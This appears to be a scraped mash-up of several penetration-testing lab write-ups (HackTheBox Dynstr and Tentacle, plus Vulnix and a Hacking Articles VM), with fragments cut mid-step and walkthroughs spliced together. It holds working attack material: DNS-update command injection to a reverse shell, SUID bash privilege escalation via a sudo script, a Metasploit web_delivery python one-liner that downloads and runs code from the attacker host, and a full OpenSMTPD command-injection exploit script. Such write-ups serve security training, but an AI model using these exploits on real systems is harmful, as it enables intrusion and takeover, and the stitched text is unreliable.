# Nmap 7.91 scan initiated Sun Jun 13 04:53:49 2021 as: nmap -vvv -p 22,53,80 -A -v -oN intial.nmap 10.10.10.244 Nmap scan report for dynstr.htb (10.10.10.244) Host is up, received syn-ack (0.16s latency). Scanned at 2021-06-13 04:53:51 BST for 16s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC//sbOTQwLRH4CGj3riDnnTvTCiJT1Uz7CyRSD2Tkh2wkT20rtAq13c5M1LC2kxki2bz9Ptxxx340Cc9tAcQaPZbmHndQe/H1bGiVZCKjOl2WqWQTV9fq6GGtflC94BkkLrmkWHzqg+S50g2Zg0iesPMkKAmwqwEVZx9npe1QuF3RQu5EYQXRYVOzpqQdU+jRD267gCvsKp9xmr7trZ1UzFxfBUOzSCWa3Adm2TTFwiA5jTb6x0lKVnQtgKghioMQeXXPuiTLCbI0XfbksoRI2OBAvTZf7RsIthKCiyCQRWjVh5Idr5Fh7GgwYaDgW662W3V3hCNEQRY8R9/fXWdVho1gWbm6NFt+NyRO/6F2XDvPseBYr+Yi6zwGEM+PpsTi5dfj8yYKRZ3HFXwjeBGjCPMRe9XPpCvvDnHAF18B1INVJPSwAIVll365V5D18JslQh7PpAWxO70TzmEC9E+UPXOrt29tZ0Zi/uApFRM700pdOhnvcs8q4RBWaUpp3ZB0= | 256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFtYzp8umMbm7o9+1LUTVio/dduowE/AsA3rO52A5Q/Cuct9GY6IZEvPE+/XpEiNCPMSl991kjHT+WaAunmTbT4= | 256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOz8b9MDlSPP5QJgSHy6fpG98bdKCgvqhuu07v5NFkdx 53/tcp open domain syn-ack ISC BIND 9.16.1 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.16.1-Ubuntu 80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu)) | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Dyna DNS Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Jun 13 04:54:07 2021 -- 1 IP address (1 host up) scanned in 18.86 seconds
DNS Enumeration
For this part I reffered to one of my favourite website for refference https://book.hacktricks.xyz/pentesting/pentesting-dns Let’s get the banner for the DNS version
res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'), params=params) print (res.text)
let’s send this request.
1 2 3
┌──(root💀kali)-[~/hackthebox/machine/dynstr] └─# python3 script.py good 10.10.14.10
we got the good response so we can perform update now let’s look at some parameters we can tamper.
Looking through the above perform update article I can see one intresting thing that the update will get distributed to all the linked device so if we can inject the hostname we can get the possible RCE and I thought about injecting IP but it’s is not possible as it will lead to validation problem as IP cannot have character so we can inject hostname and send payload as subdomain name but we cannot use special chars as it is not allowed as a domain name so we have base64 encode the payload and send the request.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
#!/usr/bin/python3
import requests from requests.auth import HTTPBasicAuth from base64 import b64encode
res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'), params=params) print (res.text)
Running the script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root💀kali)-[~/hackthebox/machine/dynstr] └─# python3 script.py cGluZyAtYyA0IDEwLjEwLjE0LjEw server 127.0.0.1 zone no-ip.htb update delete PING 10.10.14.10 (10.10.14.10) 56(84) bytes of data. 64 bytes from 10.10.14.10: icmp_seq=1 ttl=63 time=300 ms 64 bytes from 10.10.14.10: icmp_seq=2 ttl=63 time=299 ms 64 bytes from 10.10.14.10: icmp_seq=3 ttl=63 time=299 ms 64 bytes from 10.10.14.10: icmp_seq=4 ttl=63 time=298 ms
res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'), params=params) print (res.text)
on NC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(root💀kali)-[~/hackthebox/machine/dynstr] └─# rlwrap nc -nlvp 1122 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::1122 Ncat: Listening on 0.0.0.0:1122 Ncat: Connection from 10.10.10.244. Ncat: Connection from 10.10.10.244:53898. bash: cannot set terminal process group (745): Inappropriate ioctl for device bash: no job control in this shell id id uid=33(www-data) gid=33(www-data) groups=33(www-data) whoami whoami www-data www-data@dynstr:/var/www/html/nic$
We have REV shell now let’s go onto user.
WWW-Data to bindmgr
Enumeration
1 2 3 4 5 6
ls -al /home total 16 drwxr-xr-x 4 root root 4096 Mar 15 20:26 . drwxr-xr-x 18 root root 4096 May 25 14:52 .. drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 bindmgr drwxr-xr-x 3 dyna dyna 4096 Mar 18 20:00 dyna
Looks like we have access to both of the users. let’s check bindmgr
1 2 3 4 5 6 7 8 9 10 11 12
ls -al total 36 drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 . drwxr-xr-x 4 root root 4096 Mar 15 20:26 .. lrwxrwxrwx 1 bindmgr bindmgr 9 Mar 15 20:29 .bash_history -> /dev/null -rw-r--r-- 1 bindmgr bindmgr 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 bindmgr bindmgr 3771 Feb 25 2020 .bashrc drwx------ 2 bindmgr bindmgr 4096 Mar 13 12:09 .cache -rw-r--r-- 1 bindmgr bindmgr 807 Feb 25 2020 .profile drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .ssh drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 14:53 support-case-C62796521 -r-------- 1 bindmgr bindmgr 33 Jun 13 00:03 user.txt
Looks like we have access .ssh so let’s look into it.
1 2 3 4 5 6 7 8
ls -al total 24 drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 . drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 .. -rw-r--r-- 1 bindmgr bindmgr 419 Mar 13 12:00 authorized_keys -rw------- 1 bindmgr bindmgr 1823 Mar 13 11:48 id_rsa -rw-r--r-- 1 bindmgr bindmgr 395 Mar 13 11:48 id_rsa.pub -rw-r--r-- 1 bindmgr bindmgr 444 Mar 13 12:09 known_hosts
We can get the id_rsa.pub,known host and authorized_keys but not id_rsa that sucks.
We can connect to bindmgr using his private key if we satisfy this DNS record condition *.infra.dyna.htb but can’t get into that until we have the id_rsa even if we pass the check.
Looking inside home directory we have access to another unsual and intresting directory support-case-C62796521. Let’s look into it.
1 2 3 4 5 6 7 8
ls -al total 436 drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 14:53 . drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 .. -rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13 14:53 C62796521-debugging.script -rw-r--r-- 1 bindmgr bindmgr 29312 Mar 13 14:53 C62796521-debugging.timing -rw-r--r-- 1 bindmgr bindmgr 1175 Mar 13 14:53 command-output-C62796521.txt -rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13 14:52 strace-C62796521.txt
We have the output key in strace file. strace-C62796521.txt So now we have the private key now we can start working on the DNS condition part for SSH login.
Exploitation
As we know that PTR records provides the domain name associated with an IP so we have to add PTR record that matches the above regex that is pointing to our IP.
First of all to edit the records for infra we have to get the key for infra so let’s get it by going to /etc/bind/infra.key
For eg- your ip is 10.10.14.127 Reverse ip is 127.14.10.10 It’s is important to leave a line after addition of the A record or else it will give you an update failed: NOTZONE error. so after this let’s see what we are adding.
1 2 3 4 5 6 7 8 9 10 11 12 13
nsupdate -k /etc/bind/infra.key update add oops.infra.dyna.htb 86400 A 10.10.14.5
And then after that send it and quit. now let’s copy the above RSA key in a id_rsa file and let’s SSH.
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root💀kali)-[~/hackthebox/machine/dynstr] └─# chmod 700 id_rsa ┌──(root💀kali)-[~/hackthebox/machine/dynstr] └─# ssh -i id_rsa bindmgr@dyna.htb Last login: Sun Jun 13 19:22:54 2021 from test.infra.dyna.htb bindmgr@dynstr:~$ id uid=1001(bindmgr) gid=1001(bindmgr) groups=1001(bindmgr) bindmgr@dynstr:~$ whoami bindmgr bindmgr@dynstr:~$ ls id_rsa root.txt support-case-C62796521 user.txt bindmgr@dynstr:~$ cat user.txt 32ce9c7cacb7d79e7ae424b0c42b6647
And we are bindmgr let’s get root now.
PrivESC
Enumeration
sudo -l
1 2 3 4 5 6 7
bindmgr@dynstr:/tmp$ sudo -l sudo: unable to resolve host dynstr.dyna.htb: Name or service not known Matching Defaults entries for bindmgr on dynstr: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bindmgr may run the following commands on dynstr: (ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
Looks like we can run /usr/bin/local/bindmgr.sh as root so let’s look into script.
#!/usr/bin/bash # This script generates named.conf.bindmgr to workaround the problem # that bind/named can only include single files but no directories. # # It creates a named.conf.bindmgr file in /etc/bind that can be included # from named.conf.local (or others) and will include all files from the # directory /etc/bin/named.bindmgr. # # NOTE: The script is work in progress. For now bind is not including #named.conf.bindmgr. # # TODO: Currently the script is only adding files to the directory but #not deleting them. As we generate the list of files to be included #from the source directory they won't be included anyway.
# Check versioning (.version) echo"[+] Running $0 to stage new configuration from $PWD." if [[ ! -f .version ]] ; then echo"[-] ERROR: Check versioning. Exiting." exit 42 fi if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then [0/598] echo"[-] ERROR: Check versioning. Exiting." exit 43 fi # Create config file that includes all files from named.bindmgr. echo"[+] Creating $BINDMGR_CONF file." printf'// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF for file in * ; do printf'include "/etc/bind/named.bindmgr/%s";\n'"$file" >> $BINDMGR_CONF done
# Stage new version of configuration files. echo"[+] Staging files to $BINDMGR_DIR." cp .version * /etc/bind/named.bindmgr/
# Check generated configuration with named-checkconf. echo"[+] Checking staged configuration." named-checkconf $BINDMGR_CONF >/dev/null if [[ $? -ne 0 ]] ; then echo"[-] ERROR: The generated configuration is not valid. Please fix following errors: " named-checkconf $BINDMGR_CONF 2>&1 | indent exit 44 else echo"[+] Configuration successfully staged." # *** TODO *** Uncomment restart once we are live. # systemctl restart bind9 if [[ $? -ne 0 ]] ; then echo"[-] Restart of bind9 via systemctl failed. Please check logfile: " systemctl status bind9 else echo"[+] Restart of bind9 via systemctl succeeded." fi fi
Looking at the script we can see that we need a .version file in the current directory with a version number so let’s create it.
1
bindmgr@dynstr:/dev/shm$ echo"2" > .version
we can see from the script that we can get the privilege on the binary in the same directory so let’s get /bin/bash to this directory.
1
bindmgr@dynstr:/dev/shm$ cp /bin/bash .
Now let’s give it a suid bit and preserve that mode on that binary so now when we will execute the script we will get root privileged binary in /etc/bind/named.bindmgr/
1 2 3 4 5 6 7 8 9
bindmgr@dynstr:/dev/shm$ chmod +s bash bindmgr@dynstr:/dev/shm$ echo > --preserve=mode bindmgr@dynstr:/dev/shm$ ls -la total 1164 drwxrwxrwt 2 root root 100 Jun 14 08:41 . drwxr-xr-x 17 root root 3940 Jun 12 21:02 .. -rwsr-sr-x 1 bindmgr bindmgr 1183448 Jun 14 08:40 bash -rw-rw-r-- 1 bindmgr bindmgr 1 Jun 14 08:41 '--preserve=mode' -rw-rw-r-- 1 bindmgr bindmgr 2 Jun 14 08:40 .version
Now let’s execute the sudo command and get the root privileges on our bash binary.
220 pyftpdlib based ftpd ready. USER ashoka 331 Username ok, send password. PASS kautilya 230 Login successful. SYST 215 UNIX Type: L8 FEAT 211-Features supported: EPRT EPSV MDTM MLST type*;perm*;size*;modify*;unique*;unix.mode;unix.uid;unix.gid; REST STREAM SIZE TVFS UTF8 211 End FEAT. OPTS UTF8 ON 501 Invalid argument. PWD 257 "/" is the current directory. TYPE A 200 Type set to: ASCII. PASV 227 Entering passive mode (192,168,1,101,177,201). MLSD 150 File status okay. About to open data connection. 226 Transfer complete.
root@kali:~# ftp 192.168.142.130 Connected to 192.168.142.130. 220 pyftpdlib based ftpd ready. Name (192.168.142.130:root): ashoka 331 Username ok, send password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 Active data connection established. 125 Data connection already open. Transfer starting. -rw------- 1 ashoka ashoka 1 Nov 05 15:57 .bash_history -rw-r--r-- 1 ashoka ashoka 220 Nov 05 14:05 .bash_logout -rw-r--r-- 1 ashoka ashoka 3771 Nov 05 14:05 .bashrc drwx------ 2 ashoka ashoka 4096 Nov 05 14:18 .cache drwxrwxr-x 3 ashoka ashoka 4096 Nov 05 14:26 .local -rw-r--r-- 1 ashoka ashoka 807 Nov 05 14:05 .profile 226 Transfer complete. ftp> mkdir .ssh 257 "/.ssh" directory created. ftp> cd .ssh 250 "/.ssh" is the current directory.
ftp> put authorized_keys local: authorized_keys remote: authorized_keys 200 Active data connection established. 125 Data connection already open. Transfer starting. 226 Transfer complete. 563 bytes sent in 0.00 secs (14.5113 MB/s) ftp> ls 200 Active data connection established. 125 Data connection already open. Transfer starting. -rw-r--r-- 1 root root 563 Dec 16 05:30 authorized_keys 226 Transfer complete.
root@kali:~# ssh ashoka@192.168.142.130 The authenticity of host '192.168.142.130 (192.168.142.130)' can't be established. ECDSA key fingerprint is SHA256:cuEf1JsbferQL5tQ/iVC9mGMCIALDE5/sX/OJt5LgPQ. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.142.130' (ECDSA) to the list of known hosts. Enter passphrase for key '/root/.ssh/id_rsa': Enter passphrase for key '/root/.ssh/id_rsa': Enter passphrase for key '/root/.ssh/id_rsa': Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch Last login: Tue Nov 5 06:36:00 2019 from 192.168.1.107 ashoka@ubuntu:~$ id uid=1001(ashoka) gid=1001(ashoka) groups=1001(ashoka) ashoka@ubuntu:~$ whoami ashoka ashoka@ubuntu:~$ cat /tmp/logs ROOTDIR is `/' Checking `amd'... not found Checking `basename'... not infected Checking `biff'... not found Checking `chfn'... not infected Checking `chsh'... not infected Checking `cron'... not infected Checking `crontab'... not infected Checking `date'... not infected Checking `du'... not infected Checking `dirname'... not infected Checking `echo'... not infected Checking `egrep'... not infected Checking `env'... not infected Checking `find'... not infected Checking `fingerd'... not found Checking `gpm'... not found Checking `grep'... not infected Checking `hdparm'... not infected Checking `su'... not infected Checking `ifconfig'... not infected Checking `inetd'... not tested Checking `inetdconf'... not found Checking `identd'... not found Checking `init'... not infected Checking `killall'... not infected Checking `ldsopreload'... can't exec ./strings-static, not tested Checking `login'... not infected Checking `ls'... not infected Checking `lsof'... not infected Checking `mail'... not found Checking `mingetty'... not found Checking `netstat'... not infected Checking `named'... not found Checking `passwd'... not infected Checking `pidof'... not infected Checking `pop2'... not found Checking `pop3'... not found Checking `ps'... not infected Checking `pstree'... not infected Checking `rpcinfo'... not found Checking `rlogind'... not found Checking `rshd'... not found Checking `slogin'... not infected Checking `sendmail'... not found Checking `sshd'... not infected Checking `syslogd'... not tested Checking `tar'... not infected Checking `tcpd'... INFECTED Checking `tcpdump'... not infected Checking `top'... not infected Checking `telnetd'... not found Checking `timed'... not found Checking `traceroute'... not found Checking `vdir'... not infected Checking `w'... not infected Checking `write'... not infected Checking `aliens'... no suspect files Searching for sniffer's logs, it may take a while... nothing found Searching for HiDrootkit's default dir... nothing found Searching for t0rn's default files and dirs... nothing found Searching for t0rn's v8 defaults... nothing found Searching for Lion Worm default files and dirs... nothing found Searching for RSHA's default files and dir... nothing found Searching for RH-Sharpe's default files... nothing found Searching for Ambient's rootkit (ark) default files and dirs... nothing found Searching for suspicious files and dirs, it may take a while... /lib/modules/4.15.0-20-generic/vdso/.build-id /lib/modules/4.15.0-20-generic/vdso/.build-id Searching for LPD Worm files and dirs... nothing found Searching for Ramen Worm files and dirs... nothing found Searching for Maniac files and dirs... nothing found Searching for RK17 files and dirs... nothing found Searching for Ducoci rootkit... nothing found Searching for Adore Worm... nothing found Searching for ShitC Worm... nothing found Searching for Omega Worm... nothing found Searching for Sadmind/IIS Worm... nothing found Searching for MonKit... nothing found Searching for Showtee... nothing found Searching for OpticKit... nothing found Searching for T.R.K... nothing found Searching for Mithra... nothing found Searching for LOC rootkit... nothing found Searching for Romanian rootkit... nothing found Searching for Suckit rootkit... Warning: /sbin/init INFECTED Searching for Volc rootkit... nothing found Searching for Gold2 rootkit... nothing found Searching for TC2 Worm default files and dirs... nothing found Searching for Anonoying rootkit default files and dirs... nothing found Searching for ZK rootkit default files and dirs... nothing found Searching for ShKit rootkit default files and dirs... nothing found Searching for AjaKit rootkit default files and dirs... nothing found Searching for zaRwT rootkit default files and dirs... nothing found Searching for Madalin rootkit default files... nothing found Searching for Fu rootkit default files... nothing found Searching for ESRK rootkit default files... nothing found Searching for rootedoor... nothing found Searching for ENYELKM rootkit default files... nothing found Searching for common ssh-scanners default files... nothing found Searching for suspect PHP files... nothing found Searching for anomalies in shell history files... nothing found Checking `asp'... not infected Checking `bindshell'... not infected Checking `lkm'... not tested: can't exec Checking `rexedcs'... not found Checking `sniffer'... not tested: can't exec ./ifpromisc Checking `w55808'... not infected Checking `wted'... not tested: can't exec ./chkwtmp Checking `scalper'... not infected Checking `slapper'... not infected Checking `z2'... not tested: can't exec ./chklastlog Checking `chkutmp'... not tested: can't exec ./chkutmp Checking `OSX_RSPLUG'... not infected
msf5 > use exploit/multi/script/web_delivery msf5 exploit(multi/script/web_delivery) > set LHOST 192.168.142.128 LHOST => 192.168.142.128 msf5 exploit(multi/script/web_delivery) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.142.128:4444 msf5 exploit(multi/script/web_delivery) > [*] Using URL: http://0.0.0.0:8080/iG1jsBgk9ZBOAY [*] Local IP: http://192.168.142.128:8080/iG1jsBgk9ZBOAY [*] Server started. [*] Run the following command on the target machine: python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.142.128:8080/iG1jsBgk9ZBOAY');exec(r.read());"
msf5 exploit(multi/script/web_delivery) > [*] 192.168.142.130 web_delivery - Delivering Payload (454) bytes [*] Sending stage (53755 bytes) to 192.168.142.130 [*] Meterpreter session 3 opened (192.168.142.128:4444 -> 192.168.142.130:38970) at 2019-12-16 01:06:52 -0500
msf5 exploit(multi/script/web_delivery) > msf5 exploit(multi/script/web_delivery) > use exploit/unix/local/chkrootkit msf5 exploit(unix/local/chkrootkit) > set session 3 session => 3 msf5 exploit(unix/local/chkrootkit) > set lport 8888 lport => 8888 msf5 exploit(unix/local/chkrootkit) > exploit
[*] Started reverse TCP double handler on 192.168.142.128:8888 [!] Rooting depends on the crontab (this could take a while) [*] Payload written to /tmp/update [*] Waiting for chkrootkit to run via cron... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo XMnVavzOqVIfxgY5; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket A [*] A: "XMnVavzOqVIfxgY5\r\n" [*] Matching... [*] B is input... [*] Command shell session 4 opened (192.168.142.128:8888 -> 192.168.142.130:44238) at 2019-12-16 01:09:28 -0500 whoami [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo BGwiPjx0EW1uplK3; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket A [*] A: "BGwiPjx0EW1uplK3\r\n" [*] Matching... [*] B is input... [*] Command shell session 5 opened (192.168.142.128:8888 -> 192.168.142.130:44242) at 2019-12-16 01:10:28 -0500 [!] Tried to delete /tmp/update, unknown result root python -c 'import pty; pty.spawn("/bin/sh")' # whoami whoami root # ls ls final.txt # cat final.txt cat final.txt !! Congrats you have finished this task !!
Contact us here:
Hacking Articles : https://twitter.com/rajchandel/ Geet Madan : https://in.linkedin.com/in/geet-madan
root@kali:~# nmap -sn -v 192.168.66.* Nmap scan report for 192.168.66.18 Host is up (0.00018s latency). MAC Address: 00:0C:29:6C:D6:66 (VMware)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
root@kali:~# nmap -sV -v -p- 192.168.66.18 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0) 25/tcp open smtp Postfix smtpd 79/tcp open finger Linux fingerd 110/tcp open pop3? 111/tcp open rpcbind 2-4 (RPC #100000) 143/tcp open imap Dovecot imapd 512/tcp open exec netkit-rsh rexecd 513/tcp open login? 514/tcp open tcpwrapped 993/tcp open ssl/imaps? 995/tcp open ssl/pop3s? 2049/tcp open nfs_acl 2-3 (RPC #100227) 39832/tcp open mountd 1-3 (RPC #100005) 42471/tcp open status 1 (RPC #100024) 45506/tcp open nlockmgr 1-4 (RPC #100021) 52840/tcp open mountd 1-3 (RPC #100005) 53613/tcp open mountd 1-3 (RPC #100005)
root@kali:~# finger @192.168.66.18 No one logged on. root@kali:~# finger root@192.168.66.18 Login: root Name: root Directory: /root Shell: /bin/bash Never logged in. No mail. No Plan. root@kali:~# finger user@192.168.66.18 Login: user Name: user Directory: /home/user Shell: /bin/bash Never logged in. No mail. No Plan.
Login: dovenull Name: Dovecot login user Directory: /nonexistent Shell: /bin/false Never logged in. No mail. No Plan. root@kali:~# finger vulnix@192.168.66.18 Login: vulnix Name: Directory: /home/vulnix Shell: /bin/bash Never logged in. No mail. No Plan.
root@kali:~# ssh user@192.168.66.18 The authenticity of host '192.168.66.18 (192.168.66.18)' can't be established. ECDSA key fingerprint is SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMViOAg. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.66.18' (ECDSA) to the list of known hosts. Enter passphrase for key '/root/.ssh/id_rsa': user@192.168.66.18's password: Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Thu Apr 16 03:53:37 BST 2020
System load: 0.0 Processes: 89 Usage of /: 90.2% of 773MB Users logged in: 0 Memory usage: 7% IP address for eth0: 192.168.66.18 Swap usage: 0%
=> / is using 90.2% of 773MB Graph this data and manage this system at https://landscape.canonical.com/
user@vulnix:~$ id uid=1000(user) gid=1000(user) groups=1000(user),100(users) user@vulnix:~$ whoami user user@vulnix:~$ pwd /home/user user@vulnix:~$ uname -a Linux vulnix 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux
System information as of Thu Apr 16 04:23:19 BST 2020
System load: 0.0 Processes: 92 Usage of /: 90.2% of 773MB Users logged in: 1 Memory usage: 9% IP address for eth0: 192.168.66.18 Swap usage: 0%
=> / is using 90.2% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
New release '14.04.6 LTS' available. Run 'do-release-upgrade' to upgrade to it.
The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
vulnix@vulnix:~$ sudo -l Matching 'Defaults' entries for vulnix on this host: env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User vulnix may run the following commands on this host: (root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports
很好,vulnix可以运行命令来打开/etc/exports,不用输入密码。这是发现的:
1 2 3 4 5 6 7 8 9 10 11 12
vulnix@vulnix:~$ sudoedit /etc/exports # /etc/exports: the access control list for filesystems which may be exported # to NFS clients. See exports(5). # # Example for NFSv2 and NFSv3: # /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check) # # Example for NFSv4: # /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check) # /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check) # /home/vulnix *(rw,root_squash)
root@kali:~# ping -c 4 192.168.66.18 PING 192.168.66.18 (192.168.66.18) 56(84) bytes of data. 64 bytes from 192.168.66.18: icmp_seq=1 ttl=64 time=1.04 ms 64 bytes from 192.168.66.18: icmp_seq=2 ttl=64 time=0.279 ms 64 bytes from 192.168.66.18: icmp_seq=3 ttl=64 time=0.482 ms 64 bytes from 192.168.66.18: icmp_seq=4 ttl=64 time=0.492 ms
--- 192.168.66.18 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3033ms rtt min/avg/max/mdev = 0.279/0.572/1.037/0.281 ms
然后再次挂载分区:
1 2 3 4
root@kali:~# mount 192.168.66.18:/home/vulnix /mnt/vulnix root@kali:~# cd /mnt/vulnix root@kali:/mnt/vulnix# ls local_shell
挂载后,获得了受害者计算机本地shell的副本,并将所有权和SID更改为root:
在受害者的机器上,如“vulnix”:
1 2 3
vulnix@vulnix:~$ cp /bin/bash local_shell vulnix@vulnix:~$ ls local_shell
Also got hash while running GetNPUsers.py but that seems uncrackable, here I stucked for more hours and finally found the way that was fuzzing the other dommains
1 2 3 4 5 6 7 8
┌──(root💀kali)-[~/hackthebox/machine/tentacle] └─# dnsenum --threads 64 --dnsserver 10.10.10.224 --file /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt realcorp.htb ns.realcorp.htb. 259200 IN A 10.197.243.77 proxy.realcorp.htb. 259200 IN CNAME ns.realcorp.htb. ns.realcorp.htb. 259200 IN A 10.197.243.77 ns.realcorp.htb. 259200 IN A 10.197.243.77 wpad.realcorp.htb. 259200 IN A 10.197.243.31 ns.realcorp.htb. 259200 IN A 10.197.243.77
So many domains and Ips 😦 But that can’t be easily accessible we need to use proxychains to enum it 🙂
update proxychains to avoid small errors 🙂
1
apt-get install proxychains4
and need to add that proxy in our conf file. Edit /etc/proxychains.conf file
Here using dynamic chain you can also use strict chain 🙂
Add these things to the bottom of that conf file, then start enum
let’s nmap again 🙂 scan that .31 ip wpad.realcorp.htb
1 2 3 4 5 6 7 8 9
proxychains -f /etc/proxychains.conf nmap -sT -Pn -v 10.197.243.31 PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 464/tcp open kpasswd5 749/tcp open kerberos-adm 3128/tcp open squid-http
sorted the nmap result coz it’s too long 😀
there’s a server running on port 80 let’s see that 😀 and remember need to use proxychains to view that page so
import socket, time import sys if len(sys.argv) < 4: print("usage: script.py <host> <port> <command>") exit() HOST = sys.argv[1] PORT = int(sys.argv[2]) rev_shell_cmd = sys.argv[3] payload = b"""\r\n #0\r\n #1\r\n #2\r\n #3\r\n #4\r\n #5\r\n #6\r\n #7\r\n #8\r\n #9\r\n #a\r\n #b\r\n #c\r\n #d\r\n """ + rev_shell_cmd.encode() + b""" . """ for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC, socket.SOCK_STREAM): af, socktype, proto, canonname, sa = res try: s = socket.socket(af, socktype, proto) except OSError as msg: s = None continue try: s.connect(sa) except OSError as msg: s.close() s = None continue break if s is None: print('could not open socket') sys.exit(1) with s: data = s.recv(1024) print('Received', repr(data)) time.sleep(1) print('SENDING HELO') s.send(b"helo test.com\r\n") data = s.recv(1024) print('RECIEVED', repr(data)) s.send(b"MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>\r\n") time.sleep(1) data = s.recv(1024) print('RECIEVED', repr(data)) s.send(b"RCPT TO:<j.nakazawa@realcorp.htb>\r\n") data = s.recv(1024) print('RECIEVED', repr(data)) s.send(b"DATA\r\n") data = s.recv(1024) print('RECIEVED', repr(data)) s.send(payload) data = s.recv(1024) print('RECIEVED', repr(data)) s.send(b"QUIT\r\n") data = s.recv(1024) print('RECIEVED', repr(data)) print("Exploited Check you netcat :D") s.close()
start a netcat listener and run that above script like this
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
